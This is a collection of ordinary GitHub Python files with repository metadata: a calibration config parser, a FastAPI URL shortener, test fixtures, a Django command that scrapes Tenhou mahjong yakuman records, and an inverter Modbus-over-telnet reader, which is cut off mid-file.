{"seq_id": "6364060760", "text": "import argparse\nimport json\n\n\ndef command_line_parser():\n    parser = argparse.ArgumentParser(\n        add_help=True,\n        formatter_class=argparse.ArgumentDefaultsHelpFormatter\n    )\n\n    # General Arguments\n    parser.add_argument(\n        '-cm', '--calibration_method', type=str, default='manual', required=True,\n        help='Calibration method to be used. One of [\"manual\", \"automatic\"]')\n\n    parser.add_argument(\n        '-d', '--dir', type=str, default='', required=True,\n        help='Path to directory containing point clouds, images and calibration')\n\n    parser.add_argument(\n        '--frames', type=json.loads, default='-1',\n        help='Initial guess of the transformation')\n\n    parser.add_argument(\n        '--sig_in', type=json.loads, default='[3.0 ,2.0 ,1.0]',\n        help='Values for the refinement steps')\n\n    # Point Cloud Edge Detection Parameters\n    parser.add_argument(\n        '--pc_ed_rad_nn', type=float, default=0.1,\n        help='Radius in which to include neighbors during point cloud edge '\n             'detection')\n\n    parser.add_argument(\n        '--pc_ed_num_nn', type=float, default=75,\n        help='Min number of nearest neighbors used')\n\n    parser.add_argument(\n        '--pc_ed_score_thr', type=float, default=55,\n        help='Percentile threshold above which points are considered edge '\n             'points')\n\n    # Image Edge Detection Parameters\n    parser.add_argument(\n        '--im_ed_method', type=str, default='sed',\n        help='Method used for image edge detection: sed or canny')\n\n    parser.add_argument(\n        '--im_sed_score_thr', type=float, default=0.25,\n        help='Threshold used for SED')\n\n    parser.add_argument(\n        '--im_ced_score_lower_thr', type=float, default=100,\n        help='Lower threshold for Canny')\n\n    parser.add_argument(\n        '--im_ced_score_upper_thr', type=float, default=200,\n        help='Upper threshold for Canny')\n\n    cfg = parser.parse_args()\n\n    return cfg\n", "repo_name": "ctyfang/amz-targetless-cal", "sub_path": "calibration/utils/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 1971, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 6, "usage_type": "call"}, {"api_name": "argparse.ArgumentDefaultsHelpFormatter", "line_number": 8, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 21, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 25, "usage_type": "attribute"}]}
{"seq_id": "19679033300", "text": "import random\nimport string\nfrom datetime import datetime\n\nfrom fastapi import FastAPI, HTTPException, Response\nfrom pydantic import AnyHttpUrl, BaseModel, typing, validator\n\nfrom storage import DuplicateKey, Storage\n\nSHORTCODE_LENGTH = 6\nALLOWED_CHARS = set(string.ascii_lowercase + string.digits + \"_\")\n\napp = FastAPI(\n    title=\"URL Shortener\", description=\"A code for an interview.\", version=\"1.0.0\"\n)\n\n\nstorage = Storage()\n\n\nclass UnknownShortcode(HTTPException):\n    def __init__(self, detail):\n        super().__init__(status_code=412, detail=detail)\n\n\nclass InvalidShortcode(HTTPException):\n    def __init__(self, detail):\n        super().__init__(status_code=412, detail=detail)\n\n\nclass AlreadyInUse(HTTPException):\n    def __init__(self, detail):\n        super().__init__(status_code=409, detail=detail)\n\n\n########\n# POST #\n########\n\n\nclass ShortenRequest(BaseModel):\n    url: AnyHttpUrl\n    shortcode: typing.Optional[str]\n\n    @validator(\"shortcode\")\n    def _validate_shortcode(cls, shortcode):\n        validate_shortcode(shortcode)\n        return shortcode\n\n\nclass ShortenResponse(BaseModel):\n    shortcode: str\n\n\n@app.post(\"/shorten\", response_model=ShortenResponse, status_code=201)\nasync def post(request: ShortenRequest):\n    shortcode = request.shortcode\n    if not shortcode:\n        shortcode = generate_unique_code()\n    url = request.url\n    try:\n        shortcode = storage.put(shortcode, url)\n    except DuplicateKey:\n        raise AlreadyInUse(f\"Code is already used: {shortcode}\")\n    return ShortenResponse(shortcode=shortcode)\n\n\ndef validate_shortcode(shortcode):\n    if len(shortcode) != SHORTCODE_LENGTH:\n        raise InvalidShortcode(f\"length is not equal {SHORTCODE_LENGTH}\")\n\n    if not set(shortcode).issubset(ALLOWED_CHARS):\n        raise InvalidShortcode(\n            f\"invalid characters in shortcode. Allowed characters: {ALLOWED_CHARS}\"\n        )\n\n\ndef generate_unique_code():\n    while True:  # not the best approach to collision resolution\n        code = [random.choice(list(ALLOWED_CHARS)) for _ in range(SHORTCODE_LENGTH)]\n        code = \"\".join(code)\n        if not storage.get(code):\n            return code\n\n\n#######\n# GET #\n#######\n\n\n@app.get(\"/{shortcode}\", status_code=302)\nasync def get(shortcode: str, response: Response):\n    url = storage.get(shortcode)\n    if not url:\n        raise HTTPException(status_code=404, detail=f\"shortcode {shortcode} not found\")\n\n    response.headers[\"Location\"] = str(url)\n    return {}\n\n\n#########\n# STATS #\n#########\n\n\nclass StatsResponse(BaseModel):\n    created: datetime\n    lastRedirect: datetime\n    redirectCount: int\n\n\n@app.get(\"/{shortcode}/stats\")\nasync def get_stats(shortcode):\n    stats = storage.get_stats(shortcode)\n    if stats is None:\n        raise HTTPException(status_code=404)\n\n    return stats\n", "repo_name": "kopchik/energyworx_url_shortener", "sub_path": "url_shortener.py", "file_name": "url_shortener.py", "file_ext": "py", "file_size_in_byte": 2801, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "string.ascii_lowercase", "line_number": 11, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 11, "usage_type": "attribute"}, {"api_name": "fastapi.FastAPI", "line_number": 13, "usage_type": "call"}, {"api_name": "storage.Storage", "line_number": 18, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 21, "usage_type": "name"}, {"api_name": "fastapi.HTTPException", "line_number": 26, "usage_type": "name"}, {"api_name": "fastapi.HTTPException", "line_number": 31, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 41, "usage_type": "name"}, {"api_name": "pydantic.AnyHttpUrl", "line_number": 42, "usage_type": "name"}, {"api_name": "pydantic.typing.Optional", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pydantic.typing", "line_number": 43, "usage_type": "name"}, {"api_name": "pydantic.validator", "line_number": 45, "usage_type": "call"}, {"api_name": "pydantic.BaseModel", "line_number": 51, "usage_type": "name"}, {"api_name": "storage.put", "line_number": 62, "usage_type": "call"}, {"api_name": "storage.DuplicateKey", "line_number": 63, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 80, "usage_type": "call"}, {"api_name": "storage.get", "line_number": 82, "usage_type": "call"}, {"api_name": "fastapi.Response", "line_number": 92, "usage_type": "name"}, {"api_name": "storage.get", "line_number": 93, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 95, "usage_type": "call"}, {"api_name": "pydantic.BaseModel", "line_number": 106, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 107, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 108, "usage_type": "name"}, {"api_name": "storage.get_stats", "line_number": 114, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 116, "usage_type": "call"}]}
{"seq_id": "13236273521", "text": "import datetime\nimport csv\n\nbestand = 'inloggers.csv'\nwith open(bestand, 'w', newline='') as outfile:\n    writer = csv.writer(outfile, delimiter = ';')\n    while  True:\n        naam = input(\"Wat is je achternaam? \")\n        if naam == 'einde':\n            break\n        voorl = input(\"Wat zijn je voorletters? \")\n        gbdatum = input(\"Wat is je geboortedatum? \")\n        email = input(\"Wat is je e-mail adres? \")\n        vandaag = datetime.datetime.today()\n        datum = vandaag.strftime(\"%a %d %b %Y\")\n        tijd = vandaag.strftime(\"%H %M\")\n        datumtijd = datum + ' at ' + tijd\n        writer.writerow((datumtijd, voorl, naam, gbdatum, email))\n        print()\noutfile.close()", "repo_name": "gerritvanos/TICT-V1PROG-15", "sub_path": "les 09/pe 9_2.py", "file_name": "pe 9_2.py", "file_ext": "py", "file_size_in_byte": 688, "program_lang": "python", "lang": "nl", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "csv.writer", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "attribute"}]}
{"seq_id": "21057515659", "text": "#\n# Purpur Tentakel\n# Cooking Book\n# 12.04.2023\n#\n\nimport os\n\nfrom helper import log\nfrom helper import init\nfrom database import add as a\nfrom database import my_database as d\n\n# @formatter:off\nentries: dict = {\n    \"raw_types\": [\n        \"Frühstück\"  ,  # 1\n        \"Mittagessen\",  # 2\n        \"Abendessen\" ,  # 3\n    ],\n    \"recipes\": [\n        [\"Nudelauflauf\",  \"Beschreibung 1\"],  # 1\n        [\"Braten\",        \"Beschreibung 2\"],  # 2\n        [\"Schokopudding\", \"Beschreibung 3\"],  # 3\n        [\"Salat\",         \"Beschreibung 4\"],  # 4\n        [\"Brot\",          \"Beschreibung 5\"],  # 5\n    ],\n    \"ingredients\": [\n        [1, 500.0, \"g\",  \"Nudeln\"           ],  # 1\n        [1, 500.0, \"ml\", \"passierte Tomaten\"],  # 2\n        [1, 2.0,   \"\",   \"Tomaten\"          ],  # 3\n\n        [2, 500.0, \"g\", \"Hackfleisch\" ],  # 4\n        [2, 3.5,   \"\",  \"Brötchen\"    ],  # 5\n        [2, 5.0,   \"\",  \"Eier\"        ],  # 6\n\n        [3, 150.0, \"ml\", \"Milch\"          ],  # 7\n        [3, 50.0,  \"g\",  \"Pudding Pulver\" ],  # 8\n\n        [4, 1.0,   \"\",   \"Salat\" ],  # 9\n        [4, 100.0, \"ml\", \"Öl\"    ],  # 10\n        [4, 10.6,  \"ml\", \"Essig\" ],  # 11\n\n        [5, 1000.0, \"g\",  \"Mehl\"         ],  # 12\n        [5, 600.0,  \"ml\", \"Wasser\"       ],  # 13\n        [5, 10.5,   \"g\",  \"Trocken Hefe\" ],  # 14\n    ],\n    \"types\": [\n        [1, 2],  #  1  Nudelauflauf    Mittagessen\n        [1, 3],  #  2  Nudelauflauf    Abendessen\n        [2, 2],  #  3  Braten          Mittagessen\n        [2, 3],  #  4  Braten          Abendessen\n        [3, 3],  #  5  Schokopuddung   Abendessen\n        [3, 1],  #  6  Schokopudding   Frühstück\n        [4, 1],  #  7  Salat           Frühstück\n        [4, 2],  #  8  Salat           Mittagessen\n        [5, 1],  #  9  Brot            Frühstück\n        [5, 3],  # 10  Brot            Abendessen\n    ]\n}\n# @formatter: on\n\n\ndef _move_working_directory() -> None:\n    os.chdir(\"D:/dev/py/cooking-book\")\n\n\ndef generate_temporary_database() -> None:\n    _move_working_directory()\n    log._set_exporting(False)\n    init.data_init(\":memory:\")\n    _add_raw_types_to_database()\n    _add_recipes_to_database()\n    _add_ingredients_to_database()\n    _add_types_to_database()\n\n\ndef _add_raw_types_to_database() -> None:\n    for value in entries[\"raw_types\"]:\n        a.add.add_raw_type(value)\n\n\ndef _add_recipes_to_database() -> None:\n    for title, description in entries[\"recipes\"]:\n        a.add.add_recipe(title, description)\n\n\ndef _add_ingredients_to_database() -> None:\n    for recipe_id, amount, unit, ingredient in entries[\"ingredients\"]:\n        a.add.add_ingredient(recipe_id, amount, unit, ingredient)\n\n\ndef _add_types_to_database() -> None:\n    for recipe_ID, raw_type_ID in entries[\"types\"]:\n        a.add.add_type(recipe_ID, raw_type_ID)\n\n\ndef delete_temporary_database() -> None:\n    d.database.drop_connection()\n    d._uncreate_database()\n", "repo_name": "PurpurTentakel97/cooking-book", "sub_path": "tests/test_helper.py", "file_name": "test_helper.py", "file_ext": "py", "file_size_in_byte": 2871, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.chdir", "line_number": 65, "usage_type": "call"}, {"api_name": "helper.log._set_exporting", "line_number": 70, "usage_type": "call"}, {"api_name": "helper.log", "line_number": 70, "usage_type": "name"}, {"api_name": "helper.init.data_init", "line_number": 71, "usage_type": "call"}, {"api_name": "helper.init", "line_number": 71, "usage_type": "name"}, {"api_name": "database.add.add.add_raw_type", "line_number": 80, "usage_type": "call"}, {"api_name": "database.add.add", "line_number": 80, "usage_type": "attribute"}, {"api_name": "database.add", "line_number": 80, "usage_type": "name"}, {"api_name": "database.add.add.add_recipe", "line_number": 85, "usage_type": "call"}, {"api_name": "database.add.add", "line_number": 85, "usage_type": "attribute"}, {"api_name": "database.add", "line_number": 85, "usage_type": "name"}, {"api_name": "database.add.add.add_ingredient", "line_number": 90, "usage_type": "call"}, {"api_name": "database.add.add", "line_number": 90, "usage_type": "attribute"}, {"api_name": "database.add", "line_number": 90, "usage_type": "name"}, {"api_name": "database.add.add.add_type", "line_number": 95, "usage_type": "call"}, {"api_name": "database.add.add", "line_number": 95, "usage_type": "attribute"}, {"api_name": "database.add", "line_number": 95, "usage_type": "name"}, {"api_name": "database.my_database.database.drop_connection", "line_number": 99, "usage_type": "call"}, {"api_name": "database.my_database.database", "line_number": 99, "usage_type": "attribute"}, {"api_name": "database.my_database", "line_number": 99, "usage_type": "name"}, {"api_name": "database.my_database._uncreate_database", "line_number": 100, "usage_type": "call"}, {"api_name": "database.my_database", "line_number": 100, "usage_type": "name"}]}
{"seq_id": "73862718026", "text": "import pytest\nimport sqlalchemy\n\nfrom infrastructure import db\n\n\ndef pytest_addoption(parser):\n    parser.addoption(\n        \"--dburl\",\n        action=\"store\",\n        default=\"sqlite:///:memory:\",\n        help=\"url of the database to use for tests\",\n    )\n\n\n@pytest.fixture(scope=\"session\")\ndef db_engine(request):\n    \"\"\"yields a SQLAlchemy engine which is suppressed after the test session\"\"\"\n    db_url = request.config.getoption(\"--dburl\")\n    engine_ = sqlalchemy.create_engine(\n        db_url.replace(\"postgres://\", \"postgresql://\"), echo=True\n    )\n    yield engine_\n    engine_.dispose()\n\n\n@pytest.fixture(scope=\"session\")\ndef db_session_factory(db_engine):\n    # Create tables\n    \"\"\"returns a SQLAlchemy scoped session factory\"\"\"\n    return db.orm.scoped_session(db.orm.sessionmaker(bind=db_engine))\n\n\n@pytest.fixture(scope=\"function\")\ndef db_session(request, db_session_factory):\n    \"\"\"yields a SQLAlchemy connection which is rollbacked after the test\"\"\"\n    session_ = db_session_factory()\n    yield session_\n    session_.rollback()\n    session_.close()\n", "repo_name": "Krishap-s/url-shortener", "sub_path": "conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 1068, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 20, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 16, "usage_type": "call"}, {"api_name": "infrastructure.db.orm.scoped_session", "line_number": 31, "usage_type": "call"}, {"api_name": "infrastructure.db.orm", "line_number": 31, "usage_type": "attribute"}, {"api_name": "infrastructure.db", "line_number": 31, "usage_type": "name"}, {"api_name": "infrastructure.db.orm.sessionmaker", "line_number": 31, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 27, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "1551467679", "text": "import datetime\nimport json\nimport os\n\nimport pytz\nimport requests\nfrom django.core.management.base import BaseCommand\nfrom django.db import transaction\nfrom django.utils import timezone\n\nfrom player.tenhou.models import CollectedYakuman, TenhouNickname\n\nheaders = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0\"}\n\n\ndef get_date_string():\n    return timezone.now().strftime(\"%H:%M:%S\")\n\n\nclass Command(BaseCommand):\n    def handle(self, *args, **options):\n        print(\"{0}: Start\".format(get_date_string()))\n\n        tenhou_objects = TenhouNickname.objects.all().prefetch_related(\"player\")\n        player_profiles = {}\n        for tenhou_object in tenhou_objects:\n            player_profiles[tenhou_object.tenhou_username] = tenhou_object\n\n        with transaction.atomic():\n            self.old_records(player_profiles)\n            self.current_month_data(player_profiles)\n\n        print(\"{0}: End\".format(get_date_string()))\n\n    def current_month_data(self, player_profiles):\n        url = \"http://tenhou.net/sc/ykm.js\"\n        print(url)\n\n        current_date = datetime.datetime.now().astimezone(pytz.timezone(\"Asia/Tokyo\"))\n        current_year = current_date.year\n        data = requests.get(url, headers=headers).content.decode(\"utf-8\")\n        self.parse_and_create_records(player_profiles, data, current_year)\n\n    def old_records(self, player_profiles):\n        \"\"\"\n        Download historical data\n        \"\"\"\n        current_date = datetime.datetime.now().astimezone(pytz.timezone(\"Asia/Tokyo\"))\n        current_year = current_date.year\n\n        # 2006 - 2009 years have old format\n        # we need to add additional support for them\n        start_year = 2009\n        stop_year = current_year\n        months = [\"{:02}\".format(x) for x in range(1, 13)]\n\n        folder = os.path.join(\"/tmp\", \"yakuman\")\n        if not os.path.exists(folder):\n            os.mkdir(folder)\n\n        for year in range(start_year, stop_year + 1):\n            # we don't need to load data from the future\n            if current_year == year:\n                months = [\"{:02}\".format(x) for x in range(1, current_date.month)]\n\n            for month in months:\n                print(year, month)\n                file_path = os.path.join(folder, \"{}-{}.json\".format(year, month))\n\n                data = None\n                # load from cache\n                if os.path.exists(file_path):\n                    with open(file_path, \"r\") as f:\n                        data = f.read()\n                else:\n                    url = \"http://tenhou.net/sc/{}/{}/ykm.js\".format(year, month)\n                    response = requests.get(url, headers=headers)\n\n                    if response.status_code == 200:\n                        data = response.content.decode(\"utf-8\")\n                        # store to cache\n                        with open(file_path, \"w\") as f:\n                            f.write(data)\n\n                if not data:\n                    print(\"Missed data\")\n                    continue\n\n                self.parse_and_create_records(player_profiles, data, year)\n\n    def parse_and_create_records(self, player_profiles, yakuman_data, year):\n        # tenhou returns it not in really handy format\n\n        # new format\n        if \"\\r\\n\" in yakuman_data:\n            yakuman_data = yakuman_data.split(\"\\r\\n\")[2]\n            yakuman_data = json.loads(yakuman_data[4:-1].replace('\"', '\\\\\"').replace(\"'\", '\"'))\n        # old format\n        else:\n            yakuman_data = yakuman_data.split(\";\\n\")[2].strip()\n            yakuman_data = yakuman_data[4:].replace('\"', '\\\\\"').replace(\"'\", '\"').replace(\"\\n\", \"\")\n            yakuman_data = json.loads(yakuman_data)\n\n        filtered_results = []\n\n        for x in range(0, len(yakuman_data), 5):\n            yakuman_date = yakuman_data[x]\n            name = yakuman_data[x + 1]\n            yakuman_list = yakuman_data[x + 3]\n            log = yakuman_data[x + 4]\n\n            if name in player_profiles:\n                date = \"{} {}\".format(year, yakuman_date)\n                date = datetime.datetime.strptime(date, \"%Y %m/%d %H:%M\")\n                date = date.astimezone(pytz.timezone(\"Asia/Tokyo\"))\n\n                tenhou_object = player_profiles[name]\n\n                # let's add only yakumans related to the current profile\n                if date.date() >= tenhou_object.username_created_at:\n                    filtered_results.append(\n                        {\n                            \"tenhou_object\": tenhou_object,\n                            \"date\": date,\n                            \"yakuman_list\": \",\".join([str(x) for x in yakuman_list]),\n                            \"log_id\": log,\n                        }\n                    )\n\n        for item in filtered_results:\n            exists = (\n                CollectedYakuman.objects.filter(tenhou_object=item[\"tenhou_object\"]).filter(date=item[\"date\"])\n            ).exists()\n\n            if not exists:\n                CollectedYakuman.objects.create(**item)\n", "repo_name": "MahjongRepository/mahjong-portal", "sub_path": "server/player/tenhou/management/commands/update_tenhou_yakuman.py", "file_name": "update_tenhou_yakuman.py", "file_ext": "py", "file_size_in_byte": 5031, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.utils.timezone.now", "line_number": 17, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 17, "usage_type": "name"}, {"api_name": "django.core.management.base.BaseCommand", "line_number": 20, "usage_type": "name"}, {"api_name": "player.tenhou.models.TenhouNickname.objects.all", "line_number": 24, "usage_type": "call"}, {"api_name": "player.tenhou.models.TenhouNickname.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "player.tenhou.models.TenhouNickname", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.transaction.atomic", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 29, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pytz.timezone", "line_number": 39, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pytz.timezone", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 77, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 97, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 102, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 114, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 114, "usage_type": "attribute"}, {"api_name": "pytz.timezone", "line_number": 115, "usage_type": "call"}, {"api_name": "player.tenhou.models.CollectedYakuman.objects.filter", "line_number": 132, "usage_type": "call"}, {"api_name": "player.tenhou.models.CollectedYakuman.objects", "line_number": 132, "usage_type": "attribute"}, {"api_name": "player.tenhou.models.CollectedYakuman", "line_number": 132, "usage_type": "name"}, {"api_name": "player.tenhou.models.CollectedYakuman.objects.create", "line_number": 136, "usage_type": "call"}, {"api_name": "player.tenhou.models.CollectedYakuman.objects", "line_number": 136, "usage_type": "attribute"}, {"api_name": "player.tenhou.models.CollectedYakuman", "line_number": 136, "usage_type": "name"}]}
{"seq_id": "37173165783", "text": "# -*- coding: utf-8 -*-\nimport time\nimport json\nimport requests\nimport socket\nfrom struct import pack\n\nimport telnetlib\n\ninfo_on_off = {0:'Off', 1:'On'}\n\ninfo_mode_section = {0:'load priority', 1: 'Battery priority', 2:'Economic mode', 3:'peak shaving',\n                     4:'multi period charging and discharging', 5:'manual dispatching', 6:'battery protection',\n                     7:'backup power management', 8:'constant power discharge', 9:'forced charging mode'}\n\ninfo_BMS_batt_status = {0:'Hold', 1: 'Charging and discharging disable', 2:'Charging disable', 3:'Discharging disable',\n                        4:'Charging', 5:'Discharging'}\n\n\nclass API:\n    def __init__(self, **kwargs):\n        # Initialized common attributes\n        self.variables = kwargs\n        self.debug = True\n        self.set_variable('offline_count', 0)\n        self.set_variable('connection_renew_interval', 6000)\n\n    def renewConnection(self):\n        pass\n\n    def set_variable(self, k, v):  # k=key, v=value\n        self.variables[k] = v\n\n    def get_variable(self, k):\n        return self.variables.get(k, None)  # default of get_variable is none\n\n    '''\n    Attributes:\n     ------------------------------------------------------------------------------------------\n    label            GET          label in string\n    status           GET          status\n    unitTime         GET          time\n    type             GET          type      \n     ------------------------------------------------------------------------------------------\n    '''\n\n    '''\n    API3 available methods:\n    1. getDeviceStatus() GET\n    2. setDeviceStatus() SET\n    '''\n\n    # ----------------------------------------------------------------------\n    # getDeviceStatus(), printDeviceStatus()\n    def getDeviceStatus(self):\n\n        getDeviceStatusResult = True\n\n        try:\n            # open connection\n            tn = telnetlib.Telnet(self.get_variable(\"ip\"), self.get_variable(\"port\"))\n\n            raw_data = {}\n\n            # # FUNCTION CODE: 03\n            # # Register:0-0x0000 ===== on/off (2b)\n            # send_mess = b\"\\x02\\x03\\x00\\x00\\x00\\x01\\x84\\x39\"\n            # tn.write(send_mess)\n            # raw_data['on_off'] = (tn.read_some().hex())\n            #\n            # # Register:26-0x0058 ===== Mode selection (2b)\n            # send_mess = b\"\\x02\\x03\\x00\\x1A\\x00\\x01\\xA5\\xFE\"\n            # tn.write(send_mess)\n            # raw_data['mode_select'] = (tn.read_some().hex())\n            #\n            # # Register:50-0x0032 ===== Maximum DC voltage（PV) (2b)\n            # send_mess = b\"\\x02\\x03\\x00\\x32\\x00\\x01\\x25\\xF6\"\n            # tn.write(send_mess)\n            # raw_data['max_DC_volt_PV'] = (tn.read_some().hex())\n            #\n            # # Register:58-0x003A ===== Maximum Output power (2b)\n            # send_mess = b\"\\x02\\x03\\x00\\x3A\\x00\\x01\\xA4\\x34\"\n            # tn.write(send_mess)\n            # raw_data['max_output_P'] = (tn.read_some().hex())\n            #\n            # # Register:74-0x004A ===== Voltage reference (2b)\n            # send_mess = b\"\\x02\\x03\\x00\\x4A\\x00\\x01\\xA5\\xEF\"\n            # tn.write(send_mess)\n            # raw_data['volt_ref'] = (tn.read_some().hex())\n\n\n            # -----------------------------------------------\n            # FUNCTION CODE: 04\n            # Register:0-0x0000 ===== PV1 Voltage (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x00\\x00\\x01\\x31\\xF9\"\n            # tn.write(send_mess)\n            # raw_data['PV1_volt'] = (tn.read_some().hex())\n            #\n            # # Register:3-0x0003 ===== PV1 DC current (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x03\\x00\\x01\\xC1\\xF9\"\n            # tn.write(send_mess)\n            # raw_data['PV1_DC_cur'] = (tn.read_some().hex())\n            #\n            # # Register:4-0x0004 ===== Output voltage UV (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x04\\x00\\x01\\x70\\x38\"\n            # tn.write(send_mess)\n            # raw_data['output_volt_UV'] = (tn.read_some().hex())\n            #\n            # # Register:5-0x0005 ===== Output voltage VW (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x05\\x00\\x01\\x21\\xF8\"\n            # tn.write(send_mess)\n            # raw_data['output_volt_VW'] = (tn.read_some().hex())\n            #\n            # # Register:6-0x0006 ===== Output voltage WU (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x06\\x00\\x01\\xD1\\xF8\"\n            # tn.write(send_mess)\n            # raw_data['output_volt_WU'] = (tn.read_some().hex())\n            #\n            # # Register:16-0x0010 ===== Output frequency (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x10\\x00\\x01\\x30\\x3C\"\n            # tn.write(send_mess)\n            # raw_data['output_freq'] = (tn.read_some().hex())\n\n            # Register:17-0x0011 ===== Battery power (2b+-)\n            send_mess = b\"\\x02\\x04\\x00\\x11\\x00\\x01\\x61\\xFC\"\n            tn.write(send_mess)\n            raw_data['batt_P'] = (tn.read_some().hex())\n\n            # Register:21-0x0015 ===== Power grid frequency (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x15\\x00\\x01\\x20\\x3D\"\n            # tn.write(send_mess)\n            # raw_data['P_grid_freq'] = (tn.read_some().hex())\n            #\n            # # Register:22-0x0016 ===== Power factor symbol (screen none) (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x16\\x00\\x01\\xD0\\x3D\"\n            # tn.write(send_mess)\n            # raw_data['PF_symbol'] = (tn.read_some().hex())\n            #\n            # # Register:23-0x0017 ===== Power factor (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x17\\x00\\x01\\x81\\xFD\"\n            # tn.write(send_mess)\n            # raw_data['PF'] = (tn.read_some().hex())\n            #\n            # # Register:47-0x002F ===== Battery percentage (2b+)\n            send_mess = b\"\\x02\\x04\\x00\\x2F\\x00\\x01\\x00\\x30\"\n            tn.write(send_mess)\n            raw_data['batt_percen'] = (tn.read_some().hex())\n            #\n            # # Register:49-0x0031 ===== Load active power (2b+)\n            send_mess = b\"\\x02\\x04\\x00\\x31\\x00\\x01\\x60\\x36\"\n            tn.write(send_mess)\n            raw_data['load_act_P'] = (tn.read_some().hex())\n            #\n            # # Register:51-0x0033 ===== PV1 power (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x33\\x00\\x01\\xC1\\xF6\"\n            # tn.write(send_mess)\n            # raw_data['PV1_P'] = (tn.read_some().hex())\n            #\n            # # Register:53-0x0035 ===== Load current A (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x35\\x00\\x01\\x21\\xF7\"\n            # tn.write(send_mess)\n            # raw_data['load_cur_A'] = (tn.read_some().hex())\n            #\n            # # Register:54-0x0036 ===== Load current B (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x36\\x00\\x01\\xD1\\xF7\"\n            # tn.write(send_mess)\n            # raw_data['load_cur_B'] = (tn.read_some().hex())\n            #\n            # # Register:55-0x0037 ===== Load current C (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x37\\x00\\x01\\x80\\x37\"\n            # tn.write(send_mess)\n            # raw_data['load_cur_C'] = (tn.read_some().hex())\n            #\n            # # Register:62-0x003E ===== PV daily power generation (2b+)\n            # send_mess = b\"\\x02\\x04\\x00\\x3E\\x00\\x01\\x50\\x35\"\n            # tn.write(send_mess)\n            # raw_data['PV_daily_P_gen'] = (tn.read_some().hex())\n            #\n            # # Register:64-0x0040 ===== PV total power generation High (2b+)\n            # # Register:65-0x0041 ===== PV total power generation Low (2b+)\n            # send_mess = b\"\\x02\\x04\\x00\\x40\\x00\\x02\\x70\\x2C\"\n            # tn.write(send_mess)\n            # raw_data['PV_total_P_gen'] = (tn.read_some().hex())\n            #\n            # # Register:80-0x0050 ===== Output reactive power (2b+-)\n            # send_mess = b\"\\x02\\x04\\x00\\x50\\x00\\x01\\x31\\xE8\"\n            # tn.write(send_mess)\n            # raw_data['output_react_P'] = (tn.read_some().hex())\n            #\n            # # Register:82-0x0052 ===== Daily load consumption (2b+)\n            # send_mess = 